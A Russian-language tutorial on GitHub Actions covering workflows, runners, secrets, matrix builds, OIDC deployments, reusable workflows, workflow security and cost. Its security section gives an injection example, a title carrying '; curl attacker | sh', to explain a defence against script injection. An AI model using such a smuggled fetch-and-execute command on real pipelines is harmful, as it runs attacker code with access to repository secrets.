GitHub Actions

01Базовые элементы: workflow, события, job-ы, step-ы

Workflow — это один YAML-файл в .github/workflows. Он начинается с on: — событий, которые его запускают: push, pull_request, workflow_dispatch (ручная кнопка) или schedule (cron). Workflow состоит из job-ов; каждый job выполняется на своём раннере — свежей машине, которую потом выбрасывают. По умолчанию job-ы идут параллельно; needs: заставляет один job ждать другой. Job — это список шагов (step). Шаг либо выполняет shell-команды через run:, либо использует готовый action через uses:, например actions/checkout, чтобы склонировать репозиторий. Представьте книгу рецептов: workflow — это книга, job-ы — рецепты, которые можно готовить одновременно на разных кухнях, а шаги — строки каждого рецепта. Поскольку каждый job стартует на чистой машине, между job-ами ничего не переносится, если вы явно не передадите это как артефакт, запись в кэше или output job-а.

• Workflow = файл, запускаемый событиями.
• Job = выполняется на одном раннере; параллельно, если needs: не говорит иначе.
• Step = shell-команда (run:) или action (uses:).

02Ваш первый CI-воркфлоу

Воркфлоу ниже запускается на каждый pull request и на push в main. Он забирает код, ставит Node.js с кэшированием зависимостей, встроенным в setup-node, устанавливает точные версии из lockfile через npm ci, затем запускает линтер и тесты. Две строки важнее, чем кажутся. permissions: contents: read ограничивает автоматический GITHUB_TOKEN правами только на чтение, так что скомпрометированный шаг не сможет запушить код. concurrency отменяет более старый запуск той же ветки, когда приходит новый коммит, — это экономит минуты и избавляет от путаницы в результатах. Версии action-ов указаны как @v7 — тег мажорной версии. Для action-ов, которые публикует сам GitHub, это разумный вариант по умолчанию; сторонние action-ы закрепляйте полным SHA коммита — об этом ниже.

1name: CI
2on:
3  pull_request:
4  push:
5    branches: [main]
6permissions:
7  contents: read
8concurrency:
9  group: ci-${{ github.ref }}
10  cancel-in-progress: true
11jobs:
12  test:
13    runs-on: ubuntu-latest
14    steps:
15      - uses: actions/checkout@v7
16      - uses: actions/setup-node@v7
17        with: { node-version: 24, cache: npm }
18      - run: npm ci
19      - run: npm run lint && npm test

03Раннеры: GitHub-hosted, larger и self-hosted

Раннер — это машина, которая выполняет job. GitHub-hosted раннеры (ubuntu-latest, windows-latest, macos-latest и ARM-варианты) — это свежие VM на каждый job, которые патчит GitHub; для приватных репозиториев они оплачиваются поминутно, публичные получают стандартные размеры бесплатно. Larger-раннеры дают больше CPU и RAM, статические диапазоны IP и варианты с GPU за большие деньги. Self-hosted раннеры — это ваши собственные машины или поды Kubernetes с агентом раннера; вы выбираете их по меткам, например runs-on: [self-hosted, linux]. Они полезны, когда нужно особое железо, доступ в приватную сеть или более дешёвые вычисления в больших объёмах. Цена — патчи, масштабирование и очистка теперь на вас. Самое важное: никогда не подключайте self-hosted раннер к публичному репозиторию, потому что любой, кто откроет pull request, сможет выполнить код на вашей машине. Для автомасштабирования Actions Runner Controller (ARC) создаёт эфемерные поды-раннеры в Kubernetes по запросу.

04Секреты, переменные и environments

Секреты — это зашифрованные значения (API-токены, SSH-ключи), которые хранятся в настройках репозитория, environment или организации и читаются в YAML как ${{ secrets.NAME }}. GitHub маскирует их в логах, но маскирование — это не безопасность: шаг, который закодирует секрет в base64, выведет его в открытом виде. Переменные (${{ vars.NAME }}) предназначены для несекретной конфигурации, например названия региона. Environments (например, staging и production) группируют секреты и добавляют правила защиты: обязательных ревьюеров, таймер ожидания и список веток, которым разрешён деплой. Job, объявивший environment: production, встаёт на паузу, пока аппрувер не нажмёт approve, и только тогда может читать секреты production. Секреты не передаются в воркфлоу, запущенные pull request-ами из форков, — это защищает от посторонних, которые захотят их вытащить. Для облаков предпочитайте OIDC: воркфлоу запрашивает подписанный identity-токен и обменивает его на короткоживущие облачные credentials, так что нет облачного ключа, который может утечь или который надо ротировать.

05Matrix-сборки, кэш и артефакты

Matrix запускает один и тот же job на разных комбинациях — например, три версии Node на двух операционных системах дают шесть параллельных job-ов из пары строк. Ставьте fail-fast: false, если хотите увидеть все упавшие комбинации, а не отменять остальные при первом падении. Кэш экономит скачивание зависимостей между запусками: у setup-action-ов для Node, Python, Java и Go есть input cache, а actions/cache подходит для всего остального, с ключом по хэшу lockfile, чтобы кэш обновлялся при изменении зависимостей. Артефакты — другое: это файлы, которые производит job (папка сборки, отчёты тестов, coverage), и вы загружаете их для других job-ов или чтобы люди могли их скачать, с периодом хранения. Правило: кэшируйте то, что можно пересобрать, чтобы сэкономить время; загружайте артефакты, когда нужен точный результат именно этого запуска.

1jobs:
2  test:
3    runs-on: ${{ matrix.os }}
4    strategy:
5      fail-fast: false
6      matrix:
7        os: [ubuntu-latest, windows-latest]
8        node: [20, 22, 24]
9    steps:
10      - uses: actions/checkout@v7
11      - uses: actions/setup-node@v7
12        with:
13          node-version: ${{ matrix.node }}
14          cache: npm
15      - run: npm ci && npm test

06Deploy-job с аппрувом и OIDC

Типичный пайплайн тестирует каждый pull request, а деплоит только из main. Deploy-job ниже ждёт test-job через needs:, запускается только в main благодаря if: и привязан к environment production, поэтому требует аппрува и может читать секреты, доступные только production. permissions: id-token: write позволяет job-у запросить OIDC-токен, который action входа в облако обменивает на временные credentials роли, настроенной доверять только этому репозиторию и ветке. ARN роли не секрет, но храните его в переменной, чтобы файл оставался универсальным. Сам деплой здесь — скрипт-заглушка; это может быть helm upgrade, rsync или вызов CLI хостинг-провайдера.

1  deploy:
2    needs: test
3    if: github.ref == 'refs/heads/main'
4    runs-on: ubuntu-latest
5    environment: production
6    permissions:
7      contents: read
8      id-token: write
9    steps:
10      - uses: actions/checkout@v7
11      - uses: aws-actions/configure-aws-credentials@v6
12        with:
13          role-to-assume: ${{ vars.DEPLOY_ROLE_ARN }}
14          aws-region: eu-central-1
15      - run: ./scripts/deploy.sh

07Reusable workflows против composite actions

Два способа перестать копипастить YAML. Composite action упаковывает несколько шагов в один action.yml; вызывающие используют его как один шаг, поэтому он выполняется внутри job-а вызывающего и разделяет его раннер и файловую систему. Это идеально для последовательности настройки: установить тулчейн, восстановить кэш, залогиниться. Reusable workflow — это целый воркфлоу с on: workflow_call, inputs и secrets; вызывающие ссылаются на него на уровне job-а через uses: org/repo/.github/workflows/deploy.yml@ref. Он может содержать несколько job-ов, environments и свои раннеры, поэтому это правильный инструмент для стандартного пайплайна, которому должен следовать каждый сервис. Секреты нужно передавать явно или через secrets: inherit. Вложенность ограничена (несколько уровней), и вызывающий может только сузить, но не расширить права вызываемого воркфлоу. Платформенная команда часто публикует reusable workflows из центрального репозитория и принуждает к ним через required workflows или rulesets.

1# .github/workflows/deploy.yml (reusable)
2on:
3  workflow_call:
4    inputs:
5      environment: { type: string, required: true }
6    secrets:
7      DEPLOY_TOKEN: { required: true }
8jobs:
9  deploy:
10    runs-on: ubuntu-latest
11    environment: ${{ inputs.environment }}
12    steps:
13      - uses: actions/checkout@v7
14      - run: ./scripts/deploy.sh "${{ inputs.environment }}"
15        env:
16          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

08Доверие OIDC: как на самом деле работают деплои без ключей

Когда у job-а есть id-token: write, раннер может запросить у токен-сервиса GitHub JSON Web Token, подписанный GitHub. Claims токена описывают запуск: репозиторий, ref, environment, воркфлоу и инициатора. Claim sub выглядит как repo:your-org/your-repo:environment:production. В облаке вы регистрируете GitHub как identity provider и создаёте роль, чья trust policy принимает токены только с определённым audience и sub. Облако проверяет подпись, claims и возвращает credentials, которые истекают примерно через час. Безопасность ровно настолько хороша, насколько хорошо это условие: trust policy, совпадающая с repo:your-org/*, позволяет любому репозиторию организации взять production-роль. Привязывайте production-роли к claim environment, чтобы деплоить могли только job-ы, прошедшие правила аппрува этого environment. Организации также могут настроить claim sub, добавив больше полей, например ссылку на workflow job-а.

09Безопасность воркфлоу: инъекции и недоверенные триггеры

Две классические дыры — инъекция в скрипт и привилегированные триггеры. Выражения вроде ${{ github.event.issue.title }} подставляются в текст скрипта до запуска shell, поэтому заголовок с «; curl attacker | sh» становится кодом. Решение: передавайте недоверенные значения через env: и обращайтесь к ним как к обычным shell-переменным, которые shell воспринимает как данные. Вторая дыра — pull_request_target и workflow_run: они по задумке работают в контексте базового репозитория с секретами и токеном на запись, чтобы можно было ставить метки или комментировать pull request-ы из форков. Если такой воркфлоу выкачивает и собирает код форка, этот код выполняется с теми же привилегиями. Держите привилегированные воркфлоу свободными от недоверенного кода или разделяйте работу: непривилегированный pull_request-воркфлоу собирает и загружает результаты, а привилегированный только читает артефакт как данные. Инструменты вроде zizmor или actionlint автоматически находят такие паттерны в CI.

1# Unsafe: title is pasted into the script
2- run: echo "${{ github.event.pull_request.title }}"
3 
4# Safe: title arrives as data in an env var
5- run: echo "$PR_TITLE"
6  env:
7    PR_TITLE: ${{ github.event.pull_request.title }}

10Скорость и стоимость на масштабе

Время пайплайна — это время разработчиков. Сначала измерьте: сводка запуска показывает длительность каждого job-а. Частые выигрыши: запускать линтер, unit-тесты и проверку типов параллельными job-ами; использовать фильтры paths, чтобы изменение в документации не гоняло весь набор тестов бэкенда; кэшировать зависимости и слои Docker (docker/build-push-action поддерживает cache-to и cache-from с type=gha); делить большие наборы тестов на шарды через matrix. Отменяйте устаревшие запуски через concurrency. В монорепозиториях вычисляйте затронутые пакеты и запускайте только их. По стоимости минуты Linux самые дешёвые, а минуты Windows и macOS стоят в несколько раз дороже, так что оставляйте там только то, что действительно этого требует. Когда hosted-минуты превращаются в большой счёт, автомасштабируемые эфемерные self-hosted раннеры через Actions Runner Controller на spot-инстансах могут снизить расходы, но тогда безопасность этих машин и сетей, к которым у них есть доступ, — на вас.